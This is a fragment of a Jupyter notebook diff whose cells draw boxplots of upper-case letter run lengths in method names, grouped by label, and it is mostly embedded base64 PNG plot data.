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\nABqENQAAADRsjOURoXDkn70AAAAASUVORK5CYII=\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x112765fd0>"
+       ]
+      }
+     ],
+     "prompt_number": 149
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "df.boxplot('method_name_uppercase_run_longest', 'label')\n",
+      "plt.ylabel('Max length of upper case letters')\n",
+      "plt.xlabel('')\n",
+      "plt.title('')\n",
+      "plt.suptitle('')"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 150,
+       "text": [
+        "<matplotlib.text.Text at 0x1136dd650>"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
+       "png": 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\nffr/tllDswgExQwAAAAASUVORK5CYII=\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x1136fabd0>"
+       ]
+      }
+     ],
+     "prompt_number": 150
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "df.boxplot('method_name_uppercase_run_avg', 'label')\n",
+      "plt.ylabel('Avg length of upper case letters')\n",
+      "plt.xlabel('')\n",
+      "plt.title('')\n",
+      "plt.suptitle('')"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 151,
+       "text": [
+        "<matplotlib.text.Text at 0x10ea06190>"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
+       "png": 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